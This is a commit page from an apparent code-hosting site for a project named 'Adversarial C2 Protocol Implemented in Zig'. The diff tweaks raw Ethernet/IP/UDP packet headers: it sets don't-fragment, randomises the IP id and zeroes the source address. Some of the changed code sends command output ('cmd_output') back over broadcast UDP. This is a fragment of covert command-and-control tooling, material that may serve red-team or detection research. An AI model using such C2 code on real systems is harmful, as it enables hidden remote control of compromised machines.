Adversarial C2 Protocol Implemented in Zig
0
fork

Configure Feed

Select the types of activity you want to include in your feed.

Set don't fragment, and use random id

+5 -3
+5 -3
src/main.zig
··· 120 120 fragment_offset: u13 = 0, 121 121 flags: packed struct(u3) { 122 122 reserved: u1 = 0, 123 - dont_fragment: u1 = 0, 123 + dont_fragment: u1 = 1, 124 124 more_fragments: u1 = 0, 125 125 } = .{}, 126 126 ··· 158 158 var headers: EthIpUdp = .{ 159 159 .src_mac = socket.mac, 160 160 .ip = .{ 161 - .id = 0, 162 - .src_addr = rand.int(u32), 161 + .id = rand.int(u16), 162 + .src_addr = 0, //rand.int(u32), 163 163 .dst_addr = @bitCast([_]u8{ 255, 255, 255, 255 }), 164 164 .len = undefined, 165 165 }, ··· 231 231 var res = socket.receive(&res_buf) catch continue; 232 232 233 233 headers.udp.dst_port = udp_dest_port; 234 + headers.ip.id = rand.int(u16); 234 235 235 236 full_msg = blk: { 236 237 var msg_buf: [2048]u8 = undefined; ··· 272 273 connection.connection.payload = cmd_output; 273 274 connection_bytes = connection.toBytes(&connection_buf); 274 275 headers.setPayloadLen(connection_bytes.len); 276 + headers.ip.id = rand.int(u16); 275 277 276 278 full_msg = blk: { 277 279 var msg_buf: [2048]u8 = undefined;